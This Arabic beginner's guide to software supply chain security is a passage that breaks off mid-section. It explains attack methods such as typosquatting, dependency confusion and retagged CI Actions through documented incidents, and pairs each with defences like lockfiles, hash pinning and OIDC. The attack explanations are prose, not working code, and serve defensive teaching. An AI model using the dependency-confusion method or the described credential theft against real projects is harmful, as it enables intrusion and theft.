> ## Content Index
> Fetch the complete content index at: https://arabroot.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# أمن سلسلة التوريد البرمجية Software Supply Chain للمبتدئين
- URL: https://arabroot.io/articles/امن-سلسلة-التوريد-البرمجية-للمبتدئين/
- Published: 2026-10-05T20:15:00.000Z
- Updated: 2026-10-14T07:41:16.000Z
- Description: كل ما بين كود غيرك وسيرفرك قد يحمل كود المهاجم، وهنا تعرف التهديدات الحقيقية بحوادث موثقة والدفاع المناسب لكل حلقة.
- Author: فريق عرب رووت
- Tags: الأدلة التقنية, DevOps والتشغيل, DevOps وCI/CD, الاستضافة الذاتية

عندما تكتب في مشروعك سطراً واحداً مثل `npm install lodash` أو `pip install requests` ثم تبني Docker Image وترفعها إلى السيرفر، فأنت لا تنشر الكود الذي كتبه فريقك فقط، وإنما تنشر معه كوداً كتبه مئات الأشخاص لا تعرفهم، وأدوات بناء لم تقرأها، وخط CI يعمل بمفاتيح تصل إلى سيرفر الإنتاج Production. وفي التجربة العملية في نهاية هذا المقال بنينا تطبيق Node.js صغيراً يعتمد على مكتبة واحدة فقط، ثم استخرجنا قائمة مكوناته، فوجدنا داخل ال Image قرابة 190 حزمة npm و18 حزمة من نظام Alpine، وكلها تعمل بصلاحيات تطبيقك. وكل ما يقع بين كود غيرك وسيرفرك هو ما يسمى سلسلة التوريد البرمجية Software Supply Chain، والمهاجم الذكي لا يهاجم تطبيقك مباشرة إذا كان يستطيع أن يضع كوده في إحدى حلقاتها، فيصل إلى آلاف الشركات في وقت واحد.

وهذا المقال هو الدليل العام لهذا الموضوع في [مرحلة DevOps وCI/CD في خارطة الطريق](https://arabroot.io/start/#stage-devops)، فهو يرسم الصورة الكاملة، ويضع كل أداة في مكانها من الخط، أما الشرح المفصل لكل أداة (Gitleaks وOSV-Scanner وTrivy وRenovate وCosign وSLSA وNexus وغيرها) فله مقالات مستقلة قادمة في المرحلة نفسها، وسوف نذكرها في [قسم المقالات القادمة](#next-articles).

وسوف نناقش في هذا المقال ما يلي:

- ما المقصود بسلسلة التوريد البرمجية، وما حلقاتها من جهاز المطور إلى سيرفر الإنتاج، وأين تقع نقاط الهجوم عليها.
- التهديدات الحقيقية واحداً واحداً، ولكل تهديد حادثة موثقة من مصدرها الأصلي: الحزم بأسماء مشابهة، والخلط بين الحزم الداخلية والعامة، والحسابات المخترقة، ونظام البناء المخترق، وأسرار خط CI، وال Actions المخترقة، وال Base Images.
- الدفاعات على كل حلقة مع أدوات مفتوحة المصدر ورخصها: ملفات القفل، وتثبيت ال Actions بالهاش، وأقل الصلاحيات وOIDC، وفحص الأسرار والاعتماديات، والتحديث الآلي، ومصدر الحزم الواحد، وقائمة المكونات SBOM، والتوقيع، وSLSA.
- أين يعمل كل فحص في الخط، وخطة على مراحل لفريق صغير من الأسبوع الأول إلى الشهر الثالث.
- المعايير والتشريعات باختصار: الأمر التنفيذي الأمريكي 14028، وقانون المرونة السيبرانية الأوروبي، وضوابط NCA ECC.
- تجربة عملية كاملة: Image فيها مكتبة قديمة، وقائمة SBOM مع Syft، وفحصها مع Grype وTrivy وOSV-Scanner، واكتشاف سر مسرب مع Gitleaks، وتوقيع ال Image مع Cosign والتحقق منها، ثم استبدالها لنرى التحقق يفشل.

## ما المقصود بسلسلة التوريد البرمجية Software Supply Chain؟

سلسلة التوريد البرمجية هي كل شيء يمر به الكود من لحظة كتابته إلى لحظة تشغيله على السيرفر، وكل طرف خارجي يضيف إليه شيئاً في الطريق، والتشبيه الأقرب هو مطبخ مطعم: الطبق الذي يصل إلى الزبون لا يكون آمناً لأن الطاهي نظيف فقط، وإنما لأن المورد الذي باع الخضار موثوق، والشاحنة التي نقلتها مبردة، والمخزن مقفل، والنادل لم يبدل الطبق في الطريق. والحلقات في البرمجيات هي:

- **الاعتماديات Dependencies:** المكتبات التي تضيفها بنفسك وتسمى الاعتماديات المباشرة Direct Dependencies، والمكتبات التي تعتمد عليها تلك المكتبات وتسمى الاعتماديات غير المباشرة Transitive Dependencies، وهي غالباً أضعاف المباشرة ولم يخترها أحد في فريقك.
- **مستودعات الحزم Package Registries:** مثل npm وPyPI وMaven Central وDocker Hub، وهي المصدر الذي تنزل منه الاعتماديات، ومن يملك حساب النشر فيها يملك ما يصل إليك.
- **أدوات البناء Build Tools:** المترجم ومدير الحزم وسكربتات التثبيت التي تعمل أثناء `npm install` نفسه، أي قبل أن يعمل تطبيقك.
- **خط CI والإضافات Actions وPlugins:** ال Runner الذي يبني ويختبر، وكل Action أو Plugin تضيفها إلى الخط تعمل بصلاحياته وتقرأ أسراره، وقد شرحنا تشغيل خطك على سيرفرك في [دليل Gitea Actions](https://arabroot.io/articles/gitea-actions-%D8%AA%D8%B4%D8%BA%D9%8A%D9%84-ci-cd-%D8%B9%D9%84%D9%89-%D8%AE%D8%A7%D8%AF%D9%85%D9%83/).
- **ال Base Image:** ال Image التي تبدأ بها ملف Dockerfile مثل `node:22-alpine`، وهي نظام تشغيل مصغر كامل بحزمه وثغراته.
- **مخزن النواتج Artifact Registry:** المكان الذي تحفظ فيه ال Images والحزم بعد البناء، وال Registry الخاص بك واحد منها.
- **صلاحيات النشر Deploy Credentials:** مفاتيح SSH وتوكنات السحابة وال Kubernetes التي يستخدمها الخط ليصل إلى سيرفر الإنتاج.

الصورة التالية تبين هذه الحلقات بالترتيب، وما يدخل إليها من خارج فريقك، والنقاط العشر التي سوف نتحدث عنها في هذا المقال:

![ست محطات من اليمين إلى اليسار: Developer جهاز المطور، ثم Git Repository المستودع وطلبات الدمج، ثم CI Runner يثبت الحزم ويبني ويختبر، ثم Docker Image ناتج البناء، ثم Registry مخزن ال Images، ثم Production سيرفر الإنتاج، وفوقها ما يدخل من خارج الفريق: npm وPyPI وActions وPlugins إلى ال Runner، وBase Image إلى ال Image، ومفتاح Deploy Credentials بين ال Registry والسيرفر، وعشر دوائر حمراء مرقمة لنقاط الهجوم مع شرحها في الأسفل](https://arabroot.io/content/images/2026/10/supply-chain-01-chain.webp)

سلسلة التوريد البرمجية ونقاط الهجوم العشر عليها

### الطريقة الأولى: نثق بكل ما نثبته

الطريقة التي يعمل بها أغلب الفرق في البداية هي أن تضيف المكتبة إذا كانت مشهورة وعدد تنزيلاتها كبير، وتكتب في ملف الاعتماديات نطاقاً مثل `^4.17.0` حتى تحصل على آخر الإصلاحات تلقائياً، وتستخدم في خط CI ال Action بوسم مثل `@v4`، وتبدأ ملف Dockerfile بـ `FROM node:latest`، وتحفظ مفتاح السحابة في أسرار الخط لسنوات. وهذه الطريقة تعمل فعلاً، ولكنها تعني أن أي تغيير في أي حلقة يصل إلى سيرفرك في البناء التالي دون أن يراه أحد، والسبب أن كل هذه الإعدادات تقول عملياً «ثبت ما يقوله الطرف الآخر الآن»، فإذا اخترق حساب مشرف مكتبة أو نقل وسم Action إلى كود آخر، فإن خطك سوف يسحب الكود الجديد ويشغله بصلاحياته، وهذا بالضبط ما حدث في كل الحوادث التي سوف نراها.

وقد يتساءل البعض: هل الحل إذن أن نتوقف عن استخدام المكتبات المفتوحة ونكتب كل شيء بأنفسنا؟ والإجابة لا، فالكود الذي تكتبه بنفسك له ثغراته أيضاً، ولا يراجعه آلاف الناس، والهدف الواقعي هو أن تعرف ما يدخل إلى خطك، وأن يمر كل تغيير فيه بفحص أو مراجعة، وأن تستطيع إثبات أن ما يعمل على السيرفر هو نفسه ما بنيته.

## التهديدات الحقيقية Threats، ولكل منها حادثة موثقة

في هذا القسم نمر على نقاط الهجوم بالترتيب، ولكل نقطة حادثة حقيقية من مصدرها الأصلي، أي من بيان الشركة نفسها أو من CISA أو من الباحث الذي اكتشفها. وبعض الحوادث المشهورة سبق أن رويناها في مقالات أخرى في الموقع، فنكتفي هنا بسطر ورابط إليها.

### حزمة باسم يشبه حزمة مشهورة Typosquatting

الفكرة بسيطة جداً: ينشر المهاجم حزمة اسمها قريب من اسم حزمة مشهورة، بحرف ناقص أو شرطة زائدة أو ترتيب مختلف، وينتظر مطوراً يخطئ في كتابة الأمر، أو يقرأ اسم الحزمة من مقال أو إجابة منسوخة، والحزمة الخبيثة غالباً تعمل كالحزمة الأصلية حتى لا يلاحظ أحد شيئاً، وتضيف إليها سكربتاً يعمل وقت التثبيت.

📌

في أغسطس 2017 أعلنت npm في [مدونتها الرسمية](https://blog.npmjs.org/post/163723642530/crossenv-malware-on-the-npm-registry?ref=arabroot.io) أنها حذفت حزمة اسمها `crossenv`، وهو اسم قريب جداً من الحزمة المشهورة `cross-env`، وكانت ترسل متغيرات البيئة Environment Variables من الجهاز الذي ثبتت عليه إلى سيرفر المهاجم، وفي متغيرات البيئة عادة توكنات النشر ومفاتيح السحابة. وحذفت معها قرابة 40 حزمة أخرى نشرها الحساب نفسه منذ 19 يوليو، وقدرت npm أن الحزمة نزلت 679 مرة، أغلبها من مرايا آلية، وأن عدد التثبيتات الحقيقية لا يتجاوز 50 على الأكثر. والدرس هنا أن الاسم وحده ليس دليلاً على الهوية، لذلك راجع كل اعتمادية جديدة في طلب الدمج كما تراجع الكود.

### الخلط بين الحزم الداخلية والعامة Dependency Confusion

لنفرض أن شركتك تملك مكتبة داخلية اسمها `acme-utils` منشورة في مستودع حزم داخلي، وخط البناء معد ليبحث في المستودع الداخلي وفي npm العام معاً، فما الذي يحدث إذا نشر شخص في npm العام حزمة بالاسم نفسه ورقم إصدار أعلى مثل `99.0.0`؟ والإجابة أن كثيراً من أدوات التثبيت تختار الإصدار الأعلى من بين المصدرين، فتثبت حزمة المهاجم بدلاً من حزمتك، وتعمل سكربتاتها داخل خط البناء بكل صلاحياته.

وهذه الفكرة نشرها الباحث Alex Birsan في 9 فبراير 2021 في [مقاله الذي سمى فيه الهجوم Dependency Confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610?ref=arabroot.io)، حيث وجد أسماء حزم داخلية في ملفات `package.json` منشورة على الإنترنت، فنشر حزماً بأسمائها في npm وPyPI وRubyGems ترسل اسم الجهاز واسم المستخدم فقط عبر طلبات DNS، فوصلته من داخل أكثر من 35 مؤسسة، منها Apple وMicrosoft وPayPal وShopify، وذكر أن Shopify دفعت له مكافأة 30 ألف دولار بعد أن ثبت نظام البناء عندها حزمة باسم `shopify-cloud` خلال ساعات من نشرها. وذكر في المقال أيضاً أن الخيار `--extra-index-url` في pip يسبب المشكلة نفسها، لأنه يضيف المصدر العام بجانب الداخلي بدلاً من أن يستبدله.

الصورة التالية تبين الإعداد الضعيف والإعداد الصحيح جنباً إلى جنب:

![لوحتان: على اليمين الإعداد الضعيف حيث يطلب CI Runner الحزمة acme-utils دون نطاق، فيسأل Internal Registry وفيه الإصدار 1.2.0 وPublic npm وفيه حزمة المهاجم بالإصدار 99.0.0، فيفوز الإصدار الأعلى ويثبت كود المهاجم، وعلى اليسار الإعداد الصحيح حيث يطلب ال Runner الحزمة @acme/utils بالأمر npm ci عبر Proxy Registry مثل Verdaccio أو Nexus، فتذهب أسماء @acme إلى الحزم الداخلية وباقي الحزم إلى npm العام، وملف package-lock.json يحفظ الهاش integrity لكل حزمة](https://arabroot.io/content/images/2026/10/supply-chain-03-dependency-confusion.webp)

Dependency Confusion: الإصدار الأعلى يفوز في الإعداد الضعيف، والنطاق ومصدر الحزم الواحد يمنعانه

📌

بين 25 و30 ديسمبر 2022 كان كل من يثبت النسخة الليلية من PyTorch على Linux عبر pip يحصل على حزمة اسمها `torchtriton` من PyPI العام بدلاً من الحزمة التي ينشرها المشروع في مستودعه الخاص، والسبب كما في [بيان PyTorch الرسمي](https://pytorch.org/blog/compromised-nightly-dependency/?ref=arabroot.io) أن شخصاً نشر في PyPI حزمة بالاسم نفسه، وأن PyPI يأخذ الأولوية في هذا الإعداد. وكانت الحزمة الخبيثة تجمع اسم الجهاز والمستخدم ومتغيرات البيئة وملفات مثل `/etc/passwd` و`$HOME/.gitconfig` وكل ما في `$HOME/.ssh`، وترسلها عبر طلبات DNS مشفرة. وكان الحل الذي طبقه المشروع هو تغيير اسم الحزمة إلى `pytorch-triton`، وتسجيل حزمة فارغة بالاسم في PyPI حتى لا يتكرر الأمر، وهذا هو الدرس: كل اسم داخلي لا تملكه في المستودع العام هو اسم يستطيع غيرك أن يملكه.

### حساب مشرف Maintainer مخترق، أو مشرف يضيف كوداً ضاراً Protestware

الحزمة هنا هي الحزمة الأصلية نفسها وباسمها الصحيح، ولكن الإصدار الجديد منها خبيث، إما لأن المهاجم سرق كلمة مرور المشرف أو توكن النشر الخاص به، وإما لأن المشرف نفسه قرر أن يضيف كوداً ضاراً، وهذا النوع الثاني يسمى Protestware لأنه يأتي غالباً احتجاجاً على حدث سياسي. وفي الحالتين لا تفيدك مراجعة الاسم ولا عدد التنزيلات، لأن كل شيء يبدو طبيعياً.

📌

في 22 أكتوبر 2021 نشرت CISA [تنبيهاً](https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js?ref=arabroot.io) بأن ثلاثة إصدارات من حزمة npm المشهورة `ua-parser-js` (0.7.29 و0.8.0 و1.0.0) تحتوي على كود خبيث، وهي حزمة تستخدمها المواقع والتطبيقات لمعرفة نوع المتصفح والجهاز. وجاء في [إعلان GitHub عن الثغرة CVE-2021-4229](https://github.com/advisories/GHSA-pjwm-rvh2-c87w?ref=arabroot.io) أن أي جهاز ثبتت عليه هذه الإصدارات يجب أن يعتبر مخترقاً بالكامل، وأن كل الأسرار والمفاتيح عليه يجب أن تبدل من جهاز آخر. والدرس أن الإصدار الجديد من حزمة موثوقة ليس موثوقاً تلقائياً، لذلك لا تجعل خطك يسحب آخر إصدار في كل بناء.

أما المثال الأشهر على Protestware فهو حزمة `node-ipc`، حيث يقول [إعلان GitHub عن الثغرة CVE-2022-23812](https://github.com/advisories/GHSA-97m3-w2cp-4xx6?ref=arabroot.io) المنشور في 16 مارس 2022 أن الإصدارين 10.1.1 و10.1.2 احتويا على كود أضافه المشرف نفسه يستبدل محتوى الملفات بحسب موقع عنوان IP للمستخدم، ثم حذفه في الإصدار 10.1.3.

### دودة Worm تنشر تحديثات خبيثة من حزمة إلى أخرى

الخطوة التالية بعد سرقة حساب مشرف واحد هي أن يسرق الكود الخبيث توكنات كل مطور يثبته، ثم ينشر نفسه في حزمه هو أيضاً، فيتحول الاختراق إلى دودة Worm تنتقل من حزمة إلى أخرى دون تدخل من المهاجم.

📌

في 23 سبتمبر 2025 نشرت CISA [تنبيهاً عن اختراق واسع في npm](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem?ref=arabroot.io) بسبب دودة سميت Shai-Hulud، أصابت أكثر من 500 حزمة، وكانت تسرق توكنات GitHub الشخصية PAT ومفاتيح AWS وGoogle Cloud وAzure من أجهزة المطورين، ثم تدخل إلى npm بحساب المطور المخترق، وتضيف نفسها إلى حزمه الأخرى، وتنشر إصدارات جديدة منها. ومن توصيات CISA تثبيت إصدارات الاعتماديات على إصدارات معروفة نشرت قبل 16 سبتمبر 2025، وتبديل كل أسرار المطورين، وفرض التحقق متعدد العوامل المقاوم للتصيد Phishing-resistant MFA على حسابات GitHub وnpm. والدرس هنا أن الإصدار الذي عمره ساعات هو الأخطر، لأن أغلب هذه الحزم تكتشف وتحذف خلال أيام.

### نظام البناء Build System نفسه مخترق

هنا لا يمس المهاجم الكود المصدري ولا الاعتماديات، وإنما يدخل إلى السيرفر الذي يبني البرنامج، فيضيف كوده إلى الناتج أثناء البناء، والنتيجة أن الكود في المستودع نظيف، والمراجعة تمر، والناتج موقع بمفتاح الشركة الرسمي، ولكنه يحمل باباً خلفياً Backdoor.

📌

في 13 ديسمبر 2020 أصدرت CISA [التوجيه الطارئ ED 21-01](https://www.cisa.gov/news-events/directives/ed-21-01-mitigate-solarwinds-orion-code-compromise?ref=arabroot.io) الذي يطلب من الجهات الحكومية الأمريكية فصل منتجات SolarWinds Orion فوراً، ثم شرحت في [النشرة AA20-352A](https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a?ref=arabroot.io) أن المهاجم أضاف نسخة خبيثة من الملف `SolarWinds.Orion.Core.BusinessLayer.dll` إلى دورة بناء البرنامج، وأن الملف وقع بشهادة التوقيع الرسمية للشركة، وأن النشاط بدأ منذ مارس 2020 على الأقل. والدرس هنا أن التوقيع وحده يثبت من وقع، ولا يثبت أن البناء نفسه نظيف، لذلك يأتي دور بيئات البناء المعزولة وشهادة البناء Provenance التي سوف نشرحها في [قسم SLSA](#slsa).

### أسرار Secrets خط CI مسربة

خط CI يحمل عادة أثمن الأسرار في المؤسسة: توكن النشر إلى npm، ومفاتيح السحابة، ومفتاح SSH لسيرفر الإنتاج، وكل كود يعمل داخل الخط يستطيع قراءتها. وقد روينا في [دليل Dokploy](https://arabroot.io/articles/%D8%AA%D8%AB%D8%A8%D9%8A%D8%AA-dokploy-%D9%84%D9%86%D8%B4%D8%B1-%D8%A7%D9%84%D8%AA%D8%B7%D8%A8%D9%8A%D9%82%D8%A7%D8%AA/#install) قصة سكربت Codecov الذي عدله مهاجم في 2021 ليرسل متغيرات البيئة من آلاف الخطوط إلى سيرفره، أما الحادثة التالية فتبين أن الخطر قد يأتي من مزود الخدمة نفسه.

📌

في 4 يناير 2023 طلبت CircleCI من كل عملائها تبديل كل الأسرار المخزنة لديها، وذكرت في [تقرير الحادثة](https://circleci.com/blog/jan-4-2023-incident-report/?ref=arabroot.io) أن برنامجاً خبيثاً وصل إلى جهاز أحد مهندسيها في 16 ديسمبر 2022، فسرق جلسة دخول موحد SSO صالحة ومحمية بالتحقق الثنائي، ودخل بها إلى أنظمة الإنتاج، ثم أخرج في 22 ديسمبر متغيرات البيئة والتوكنات والمفاتيح الخاصة بالعملاء، وأنها كانت مشفرة ولكن المهاجم أخذ مفاتيح التشفير من العمليات العاملة. ومن توصيات الشركة في التقرير استخدام توكنات OIDC حيث أمكن، حتى لا تخزن مفاتيح طويلة العمر في خدمة CI أصلاً، وهذا ما نشرحه في [قسم أقل الصلاحيات](#least-privilege).

### Action مخترقة أو وسم Tag نقل إلى كود آخر

عندما تكتب في ملف workflow السطر `uses: owner/action@v4` فأنت تقول للخط: شغل الكود الذي يشير إليه الوسم `v4` الآن، والوسم في Git مجرد اسم يستطيع صاحب المستودع، أو من يخترق حسابه، أن ينقله إلى أي Commit آخر. وقد روينا في [دليل Gitea Actions](https://arabroot.io/articles/gitea-actions-%D8%AA%D8%B4%D8%BA%D9%8A%D9%84-ci-cd-%D8%B9%D9%84%D9%89-%D8%AE%D8%A7%D8%AF%D9%85%D9%83/#workflow) قصة tj-actions/changed-files في مارس 2025، وبعدها بسنة تكررت القصة نفسها مع أداة أمنية يضيفها الناس إلى خطوطهم لحمايتها.

📌

في 19 مارس 2026 استخدم مهاجم بيانات دخول مسروقة لنشر إصدار خبيث من أداة فحص الثغرات Trivy هو 0.69.4، ونقل بالدفع القسري Force Push 76 وسماً من أصل 77 في المستودع `aquasecurity/trivy-action`، وكل الوسوم السبعة في `aquasecurity/setup-trivy`، إلى Commits خبيثة، كما في [إعلان المشروع عن الثغرة CVE-2026-33634](https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23?ref=arabroot.io). وكان الكود الخبيث يقرأ ذاكرة عملية ال Runner، ويبحث في أكثر من 50 مساراً عن مفاتيح SSH ومفاتيح السحابة وتوكنات Kubernetes وإعدادات Docker، ثم يرسلها مشفرة إلى المهاجم. ويذكر الإعلان أن الاختراق امتداد لهجوم بدأ أواخر فبراير 2026، وأن تبديل الأسرار بعد اكتشافه لم يتم دفعة واحدة، فبقي للمهاجم توكن صالح، وأن من ثبت ال Actions على هاش Commit كامل لم يتأثر بنقل الوسوم. والدرس مزدوج: ثبت كل Action على الهاش، وعند أي حادثة بدل كل الأسرار في وقت واحد.

### ال Base Image قديمة أو فيها خطأ أمني

ال Base Image هي أكبر اعتمادية في مشروعك وأقلها مراجعة، فهي نظام تشغيل كامل بمكتباته وأدواته، وكل ثغرة فيها تصبح ثغرة في تطبيقك، والخطأ الشائع هو أن تبني ال Image مرة واحدة ثم تتركها شهوراً، أو أن تستخدم وسماً مثل `latest` فلا تعرف ما الذي تغير بين بناء وآخر.

📌

في 8 مايو 2019 نشرت Cisco Talos [تقرير الثغرة CVE-2019-5021](https://talosintelligence.com/vulnerability%5Freports/TALOS-2019-0782?ref=arabroot.io) في ال Docker Images الرسمية لتوزيعة Alpine من الإصدار 3.3 إلى 3.9، حيث كان حقل كلمة المرور لحساب root في الملف `/etc/shadow` فارغاً بدلاً من أن يكون مقفلاً، وهو خطأ دخل في ديسمبر 2015 وبقي أكثر من ثلاث سنوات في ال Images الأكثر استخداماً، وأعطته Talos درجة 9.8، وأثره الفعلي يظهر في ال Images التي تضيف أدوات تعتمد على هذا الملف للدخول. والدرس أن ال Image الرسمية ليست معصومة، لذلك افحص ال Base Image مثل أي اعتمادية، وأعد البناء عندما يصدر إصلاح.

### الهندسة الاجتماعية Social Engineering: المساهم الصبور الذي يكسب الثقة سنوات

أخطر الحالات هي أن يدخل المهاجم إلى المشروع من الباب الطبيعي، فيساهم بإصلاحات مفيدة سنوات حتى يصبح مشرفاً، ثم يضيف الباب الخلفي في إصدار رسمي، وهذا ما حدث في مكتبة XZ Utils في 2024، وقد رويناها بالتفصيل من زاوية الحوكمة وتمويل المشرفين في [مقال حوكمة المشاريع مفتوحة المصدر](https://arabroot.io/articles/%D8%AD%D9%88%D9%83%D9%85%D8%A9-%D8%A7%D9%84%D9%85%D8%B4%D8%A7%D8%B1%D9%8A%D8%B9-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1-%D9%88%D8%A7%D9%84%D9%85%D8%B3%D8%A7%D9%87%D9%85%D8%A9-%D9%81%D9%8A%D9%87%D8%A7/#sustainability).

## الدفاعات Defences على كل حلقة من السلسلة

بعد أن رأينا التهديدات، نرتب الدفاعات بحسب الحلقة التي تحميها، والصورة التالية تجمع كل تهديد مع الدفاع الذي يقابله وأدوات مفتوحة المصدر تطبقه:

![جدول من ثمانية صفوف وثلاثة أعمدة: التهديد والدفاع والأدوات، حزمة خبيثة أو Typosquatting مقابل ملف القفل ومراجعة كل اعتمادية مع npm ci وpip --require-hashes وOSV-Scanner، وDependency Confusion مقابل مصدر واحد للحزم ونطاق Scope مع Verdaccio وdevpi وNexus Core، وتحديث خبيث أو ثغرة مقابل فحص SCA وتحديث آلي يمر بمراجعة مع OSV-Scanner وGrype وRenovate، وAction مخترقة مقابل التثبيت على هاش Commit كامل، وأسرار مسربة مقابل فحص الأسرار وأقل الصلاحيات وOIDC مع Gitleaks وTruffleHog، ونظام بناء مخترق مقابل Runner مؤقت ومعزول وProvenance مع SLSA، وBase Image قديمة مقابل Image صغيرة يعاد بناؤها وSBOM مع Syft وTrivy وDependency-Track، وImage مبدلة مقابل التوقيع والتحقق مع Cosign وSigstore وKyverno](https://arabroot.io/content/images/2026/10/supply-chain-02-threat-defence.webp)

كل تهديد والدفاع الذي يقابله، وأمثلة لأدوات مفتوحة المصدر

### ملف القفل Lockfile والإصدارات الدقيقة

ملف القفل مثل `package-lock.json` و`poetry.lock` و`Cargo.lock` يحفظ الإصدار الدقيق لكل اعتمادية مباشرة وغير مباشرة، ومعه هاش المحتوى Integrity Hash، فإذا نزل الخط الحزمة نفسها في المرة القادمة ووجد أن هاشها مختلف رفضها. ولكن الملف وحده لا يحميك إذا كان الخط يستخدم `npm install`، لأن هذا الأمر قد يحدث ملف القفل نفسه، لذلك استخدم في الخط الأمر `npm ci`، والسبب كما في [توثيق npm](https://docs.npmjs.com/cli/v11/commands/npm-ci?ref=arabroot.io) أنه يتوقف بخطأ إذا لم يطابق ملف القفل ملف `package.json` بدلاً من أن يحدثه، ولا يكتب في أي منهما. وفي Python يقابله وضع التحقق من الهاش في pip بالخيار `--require-hashes`، والذي يقول عنه [توثيق pip](https://pip.pypa.io/en/stable/topics/secure-installs/?ref=arabroot.io) إنه يحمي من التلاعب في المصدر البعيد باستخدام هاشات محفوظة في ملف `requirements.txt`.

وملف القفل يغير أيضاً طريقة المراجعة، فكل اعتمادية جديدة أو إصدار جديد يظهر في طلب الدمج كسطر في الفرق Diff، فيراه المراجع ويسأل: من أضاف هذه الحزمة؟ ولماذا؟ ومن ينشرها؟

### تثبيت ال Actions على هاش Commit كامل

يقول [توثيق GitHub عن الاستخدام الآمن ل Actions](https://docs.github.com/en/actions/reference/security/secure-use?ref=arabroot.io) إن تثبيت ال Action على هاش Commit كامل هو الطريقة الوحيدة حالياً لاستخدامها كإصدار لا يتغير، والسبب أن الهاش يحسب من المحتوى نفسه، فلا يستطيع أحد أن يجعله يشير إلى كود آخر. والفرق في ملف workflow يبدو كما يلي:

```yaml
# الطريقة الضعيفة: الوسم يمكن نقله إلى أي Commit آخر
- uses: actions/checkout@v7

# الطريقة الصحيحة: هاش Commit كامل من 40 حرفاً، والوسم في تعليق للقراءة فقط
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
```

في الإعداد أعلاه لاحظ التالي:

- الهاش في السطر الثاني هو الهاش الذي يشير إليه الوسم `v7.0.1` في مستودع `actions/checkout` وقت كتابة المقال، وحصلنا عليه بالأمر `git ls-remote https://github.com/actions/checkout 'refs/tags/v7*'`، فلا تنسخه دون أن تتحقق منه بنفسك.
- التعليق `# v7.0.1` لا يؤثر على التنفيذ، ولكن أدوات التحديث مثل Renovate تقرؤه، فتفتح طلب دمج يحدث الهاش والتعليق معاً عند صدور إصدار جديد، ولها إعداد جاهز لهذا الغرض اسمه [helpers:pinGitHubActionDigests](https://docs.renovatebot.com/presets-helpers/?ref=arabroot.io).
- الصيغة نفسها تعمل في Gitea Actions، لأنه يقرأ ملفات workflow بصيغة GitHub Actions، وقد شرحناه في [دليل Gitea Actions](https://arabroot.io/articles/gitea-actions-%D8%AA%D8%B4%D8%BA%D9%8A%D9%84-ci-cd-%D8%B9%D9%84%D9%89-%D8%AE%D8%A7%D8%AF%D9%85%D9%83/).

### أقل الصلاحيات للتوكن، وOIDC بدلاً من المفاتيح الدائمة

كل مهمة في الخط تحصل على توكن يسمح لها بالتعامل مع المستودع، وفي GitHub اسمه `GITHUB_TOKEN`، ويوصي [التوثيق](https://docs.github.com/en/actions/reference/security/secure-use?ref=arabroot.io) بأن تكون صلاحيته الافتراضية قراءة فقط، ثم ترفع لكل مهمة بحسب حاجتها، والسبب أن Action مخترقة تعمل بتوكن قراءة لا تستطيع أن تدفع كوداً أو تنشر إصداراً. ويكتب ذلك في أعلى ملف workflow كما يلي:

```yaml
permissions:
  contents: read

jobs:
  deploy:
    permissions:
      contents: read
      id-token: write   # يسمح للمهمة بطلب توكن OIDC فقط، ولا يعطي صلاحية كتابة على المستودع
```

أما مفاتيح السحابة فالطريقة الضعيفة هي أن تنشئ مستخدماً في AWS أو Azure أو Google Cloud وتحفظ مفتاحه الدائم في أسرار الخط، فإذا سرق المفتاح بقي صالحاً حتى يلاحظ أحد، كما رأينا في حادثة CircleCI. والطريقة الأنسب هي OpenID Connect، حيث يقول [توثيق GitHub عن OIDC](https://docs.github.com/en/actions/concepts/security/openid-connect?ref=arabroot.io) إن الخط يبادل توكناً قصير العمر مباشرة مع مزود السحابة، فلا تحتاج إلى تخزين مفاتيح السحابة كأسرار طويلة العمر، والتوكن الذي يصدره المزود صالح لمهمة واحدة وينتهي تلقائياً. والصلاحية المطلوبة لذلك هي `id-token: write` كما في [مرجع OIDC](https://docs.github.com/en/actions/reference/security/oidc?ref=arabroot.io)، وفكرة OIDC نفسها شرحناها في [مقال OAuth وOpenID Connect](https://arabroot.io/articles/%D8%B4%D8%B1%D8%AD-oauth-%D9%88-openid-connect-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86/).

### Runner مؤقت ومعزول لكل مهمة

ال Runner الذي يبقى يعمل أشهراً ويشغل مهام كل المستودعات يحتفظ بآثارها: ملفات في القرص، وذاكرة مؤقتة Cache لحزم نزلت من قبل، وعمليات قد تبقى بعد انتهاء المهمة، فإذا شغل مهمة خبيثة مرة واحدة فقد تؤثر على كل بناء بعدها. والطريقة الأنسب هي Runner مؤقت Ephemeral يبدأ نظيفاً لكل مهمة ويحذف بعدها، وأن يكون معزولاً عن شبكة الإنتاج، وألا يشغل كود طلبات الدمج القادمة من خارج الفريق ومعه الأسرار، ويحذر توثيق GitHub تحديداً من الحدث `pull_request_target` لأنه يعمل بصلاحيات المستودع، فلا يجوز معه تشغيل كود من Fork لا تملكه. وقد شرحنا تشغيل ال Runner داخل Container منفصل في [دليل Gitea Actions](https://arabroot.io/articles/gitea-actions-%D8%AA%D8%B4%D8%BA%D9%8A%D9%84-ci-cd-%D8%B9%D9%84%D9%89-%D8%AE%D8%A7%D8%AF%D9%85%D9%83/#runner).

### فحص الأسرار المسربة في الكود Secrets Scanning

المفتاح الذي يدخل المستودع مرة واحدة يبقى في تاريخه حتى لو حذفته في ال Commit التالي، وهذا ما سوف نراه بمخرجات حقيقية في التجربة العملية، وقد شرحنا لماذا لا تدخل الأسرار المستودع في [دليل Git للمبتدئين](https://arabroot.io/articles/%D8%A7%D8%AF%D8%A7%D8%B1%D8%A9-%D8%A7%D9%84%D9%86%D8%B3%D8%AE-%D9%88-git-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86/#secrets)، وماذا تفعل إذا دخلت في [قسم التزام سر ثم حذفه](https://arabroot.io/articles/git-merge-%D9%88-rebase-%D9%88-cherry-pick/#committed-secrets)، والخلاصة أن المفتاح المسرب يبدل فوراً، لأن حذفه من التاريخ لا يعيد له سريته. والأداتان الأشهر لفحص الأسرار هما:

